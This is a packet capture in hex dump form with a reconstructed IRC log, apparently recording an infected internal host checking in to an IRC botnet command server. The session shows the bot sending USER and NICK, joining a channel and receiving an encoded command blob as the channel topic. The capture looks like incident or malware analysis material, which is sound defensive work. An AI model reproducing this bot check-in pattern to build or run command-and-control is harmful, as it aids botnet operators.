***A**** Seq: 0xA7E03C41 Ack: 0x28529BAF Win: 0xFAF0 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.117337 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x5C
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10519 IpLen:20 DgmLen:78 DF
***AP*** Seq: 0xA7E03C41 Ack: 0x28529BAF Win: 0xFAF0 TcpLen: 20
55 53 45 52 20 58 74 65 75 20 58 74 65 75 20 58 USER Xteu Xteu X
74 65 75 20 3A 49 53 53 2D 30 4F 34 47 43 4C 41 teu :ISS-0O4GCLA
51 4D 52 54 0D 0A QMRT..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.267811 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x36
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:115 TOS:0x0 ID:10625 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x28529BAF Ack: 0xA7E03C67 Win: 0x437E TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.268582 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x45
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10520 IpLen:20 DgmLen:55 DF
***AP*** Seq: 0xA7E03C67 Ack: 0x28529BAF Win: 0xFAF0 TcpLen: 20
4E 49 43 4B 20 6D 4B 52 4B 66 72 52 56 0D 0A NICK mKRKfrRV..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.291369 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x21E
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:115 TOS:0x0 ID:10628 IpLen:20 DgmLen:528 DF
***AP*** Seq: 0x28529BAF Ack: 0xA7E03C76 Win: 0x436F TcpLen: 20
3A 68 75 62 2E 33 35 32 36 36 2E 63 6F 6D 20 30 :hub.35266.com 0
30 31 20 6D 4B 52 4B 66 72 52 56 20 3A 78 2C 20 01 mKRKfrRV :x,
6D 4B 52 4B 66 72 52 56 21 58 74 65 75 40 66 30 mKRKfrRV!Xteu@f0
37 38 32 34 31 2E 70 70 70 2E 61 73 61 68 69 2D 78241.ppp.***-
6E 65 74 2E 6F 72 2E 6A 70 0D 0A 3A 68 75 62 2E net.or.jp..:hub.
33 35 32 36 36 2E 63 6F 6D 20 30 30 35 20 6D 4B 35266.com 005 mK
52 4B 66 72 52 56 20 4D 41 50 20 4B 4E 4F 43 4B RKfrRV MAP KNOCK
20 53 41 46 45 4C 49 53 54 20 48 43 4E 20 4D 41 SAFELIST HCN MA
58 43 48 41 4E 4E 45 4C 53 3D 31 30 20 4D 41 58 XCHANNELS=10 MAX
42 41 4E 53 3D 36 30 20 4E 49 43 4B 4C 45 4E 3D BANS=60 NICKLEN=
33 30 20 54 4F 50 49 43 4C 45 4E 3D 33 30 37 20 30 TOPICLEN=307
4B 49 43 4B 4C 45 4E 3D 33 30 37 20 4D 41 58 54 KICKLEN=307 MAXT
41 52 47 45 54 53 3D 31 35 20 41 57 41 59 4C 45 ARGETS=15 AWAYLE
4E 3D 33 30 37 20 3A 61 72 65 20 73 75 70 70 6F N=307 :are suppo
72 74 65 64 20 62 79 20 74 68 69 73 20 73 65 72 rted by this ser
76 65 72 0D 0A 3A 68 75 62 2E 33 35 32 36 36 2E ver..:hub.35266.
63 6F 6D 20 30 30 35 20 6D 4B 52 4B 66 72 52 56 com 005 mKRKfrRV
20 57 41 4C 4C 43 48 4F 50 53 20 57 41 54 43 48 WALLCHOPS WATCH
3D 31 32 38 20 53 49 4C 45 4E 43 45 3D 31 35 20 =128 SILENCE=15
4D 4F 44 45 53 3D 31 32 20 43 48 41 4E 54 59 50 MODES=12 CHANTYP
45 53 3D 23 20 50 52 45 46 49 58 3D 28 71 61 6F ES=# PREFIX=(qao
68 76 29 7E 26 40 25 2B 20 43 48 41 4E 4D 4F 44 hv)~&@%+ CHANMOD
45 53 3D 62 65 2C 6B 66 4C 2C 6C 2C 70 73 6D 6E ES=be,kfL,l,psmn
74 69 72 52 63 4F 41 51 4B 56 47 43 75 7A 4E 53 tirRcOAQKVGCuzNS
4D 54 20 4E 45 54 57 4F 52 4B 3D 78 20 43 41 53 MT NETWORK=x CAS
45 4D 41 50 50 49 4E 47 3D 61 73 63 69 69 20 45 EMAPPING=ascii E
58 54 42 41 4E 3D 7E 2C 63 71 72 20 3A 61 72 65 XTBAN=~,cqr :are
20 73 75 70 70 6F 72 74 65 64 20 62 79 20 74 68 supported by th
69 73 20 73 65 72 76 65 72 0D 0A 3A 6D 4B 52 4B is server..:mKRK
66 72 52 56 20 4D 4F 44 45 20 6D 4B 52 4B 66 72 frRV MODE mKRKfr
52 56 20 3A 2B 69 0D 0A RV :+i..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.292535 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x49
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10521 IpLen:20 DgmLen:59 DF
***AP*** Seq: 0xA7E03C76 Ack: 0x28529D97 Win: 0xF908 TcpLen: 20
4D 4F 44 45 20 6D 4B 52 4B 66 72 52 56 20 2B 78 MODE mKRKfrRV +x
69 0D 0A i..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.470919 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x36
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:115 TOS:0x0 ID:10631 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x28529D97 Ack: 0xA7E03C89 Win: 0x435C TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.471481 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x53
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10522 IpLen:20 DgmLen:69 DF
***AP*** Seq: 0xA7E03C89 Ack: 0x28529D97 Win: 0xF908 TcpLen: 20
4A 4F 49 4E 20 23 62 20 0D 0A 55 53 45 52 48 4F JOIN #b ..USERHO
53 54 20 6D 4B 52 4B 66 72 52 56 0D 0A ST mKRKfrRV..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.494416 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x27E
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:115 TOS:0x0 ID:10634 IpLen:20 DgmLen:624 DF
***AP*** Seq: 0x28529D97 Ack: 0xA7E03CA6 Win: 0x433F TcpLen: 20
3A 6D 4B 52 4B 66 72 52 56 21 58 74 65 75 40 66 :mKRKfrRV!Xteu@f
30 37 38 32 34 31 2E 70 70 70 2E 61 73 61 68 69 078241.ppp.***
2D 6E 65 74 2E 6F 72 2E 6A 70 20 4A 4F 49 4E 20 -net.or.jp JOIN
3A 23 62 0D 0A 3A 68 75 62 2E 33 35 32 36 36 2E :#b..:hub.35266.
63 6F 6D 20 33 33 32 20 6D 4B 52 4B 66 72 52 56 com 332 mKRKfrRV
20 23 62 20 3A 3D 42 44 65 72 54 6F 4F 56 53 37 #b :=BDerToOVS7
62 67 37 2F 31 65 38 4D 47 76 61 30 30 78 2B 52 bg7/1e8MGva00x+R
6B 4B 33 6D 72 69 59 41 73 41 49 31 77 37 51 6B kK3mriYAsAI1w7Qk
33 2B 5A 34 47 46 4F 69 73 47 78 44 67 77 64 45 3+Z4GFOisGxDgwdE
67 6D 6F 45 4A 57 77 43 78 6C 6C 79 68 68 34 46 gmoEJWwCxllyhh4F
72 6E 55 61 64 69 6F 38 2F 30 4A 73 79 71 45 71 rnUadio8/0JsyqEq
38 39 31 78 45 7A 50 66 62 5A 33 50 4A 49 73 50 891xEzPfbZ3PJIsP
76 32 66 43 65 61 44 56 50 5A 53 78 72 6D 46 75 v2fCeaDVPZSxrmFu
48 55 64 53 42 42 56 71 44 58 64 6B 71 56 68 45 HUdSBBVqDXdkqVhE
49 4E 38 39 6B 5A 72 68 59 35 46 37 67 73 2F 63 IN89kZrhY5F7gs/c
4F 6C 31 32 33 4C 4C 51 70 79 44 56 2B 50 68 33 Ol123LLQpyDV+Ph3
49 53 6D 54 6A 7A 54 36 75 59 2F 6D 51 75 2F 57 ISmTjzT6uY/mQu/W
52 58 44 76 30 70 33 6C 58 38 77 78 42 41 79 64 RXDv0p3lX8wxBAyd
44 55 4B 52 7A 47 44 31 43 46 6A 50 39 63 78 37 DUKRzGD1CFjP9cx7
51 36 56 42 47 46 5A 47 39 53 49 79 4C 46 6F 79 Q6VBGFZG9SIyLFoy
49 34 4F 4B 66 44 45 46 4C 4A 59 4D 77 70 7A 7A I4OKfDEFLJYMwpzz
2B 59 7A 63 49 6D 34 74 6E 58 74 41 66 6D 45 54 +YzcIm4tnXtAfmET
6F 4E 36 58 66 64 50 30 6A 43 0D 0A 3A 68 75 62 oN6XfdP0jC..:hub
2E 33 35 32 36 36 2E 63 6F 6D 20 33 33 33 20 6D .35266.com 333 m
4B 52 4B 66 72 52 56 20 23 62 20 75 20 31 31 32 KRKfrRV #b u 112
37 32 36 35 30 34 33 0D 0A 3A 68 75 62 2E 33 35 7265043..:hub.35
32 36 36 2E 63 6F 6D 20 33 35 33 20 6D 4B 52 4B 266.com 353 mKRK
66 72 52 56 20 40 20 23 62 20 3A 6D 4B 52 4B 66 frRV @ #b :mKRKf
72 52 56 20 0D 0A 3A 68 75 62 2E 33 35 32 36 36 rRV ..:hub.35266
2E 63 6F 6D 20 33 36 36 20 6D 4B 52 4B 66 72 52 .com 366 mKRKfrR
56 20 23 62 20 3A 45 6E 64 20 6F 66 20 2F 4E 41 V #b :End of /NA
4D 45 53 20 6C 69 73 74 2E 0D 0A 3A 68 75 62 2E MES list...:hub.
33 35 32 36 36 2E 63 6F 6D 20 33 30 32 20 6D 4B 35266.com 302 mK
52 4B 66 72 52 56 20 3A 6D 4B 52 4B 66 72 52 56 RKfrRV :mKRKfrRV
3D 2B 58 74 65 75 40 66 30 37 38 32 34 31 2E 70 =+Xteu@f078241.p
70 70 2E 61 73 61 68 69 2D 6E 65 74 2E 6F 72 2E pp.***-net.or.
6A 70 20 20 20 20 0D 0A jp ..
-------------------------------------------------------------------
■IRCのログ
-------------------------------------------------------------------
USER Xteu Xteu Xteu :ISS-0O4GCLAQMRT
NICK mKRKfrRV
:hub.***.***.com 001 mKRKfrRV :x, mKRKfrRV!Xteu@f078241.***.***.or.jp
:hub.***.***.com 005 mKRKfrRV MAP KNOCK SAFELIST HCN MAXCHANNELS=10 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server
:hub.***.***.com 005 mKRKfrRV WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=x CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server
:mKRKfrRV MODE mKRKfrRV :+i
MODE mKRKfrRV +xi
JOIN #b
USERHOST mKRKfrRV
:mKRKfrRV!Xteu@f078241.***.***.or.jp JOIN :#b
:hub.***.***.com 332 mKRKfrRV #b :=BDerToOVS7bg7/1e8MGva00x+RkK3mriYAsAI1w7Qk3+Z4GFOisGxDgwdEgmoEJWwCxllyhh4FrnUadio8/0JsyqEq891xEzPfbZ3PJIsPv2fCeaDVPZSxrmFuHUdSBBVqDXdkqVhEIN89kZrhY5F7gs/cOl123LLQpyDV+Ph3ISmTjzT6uY/mQu/WRXDv0p3lX8wxBAydDUKRzGD1CFjP9cx7Q6VBGFZG9SIyLFoyI4OKfDEFLJYMwpzz+YzcIm4tnXtAfmEToN6XfdP0jC
:hub.***.***.com 333 mKRKfrRV #b u 1127265043
:hub.***.***.com 353 mKRKfrRV @ #b :mKRKfrRV
:hub.***.***.com 366 mKRKfrRV #b :End of /NAMES list.
:hub.***.***.com 302 mKRKfrRV :mKRKfrRV=+Xteu@f078241.***.***.or.jp
MODE #b +smntu
:hub.***.***.com 482 mKRKfrRV #b :You're not channel operator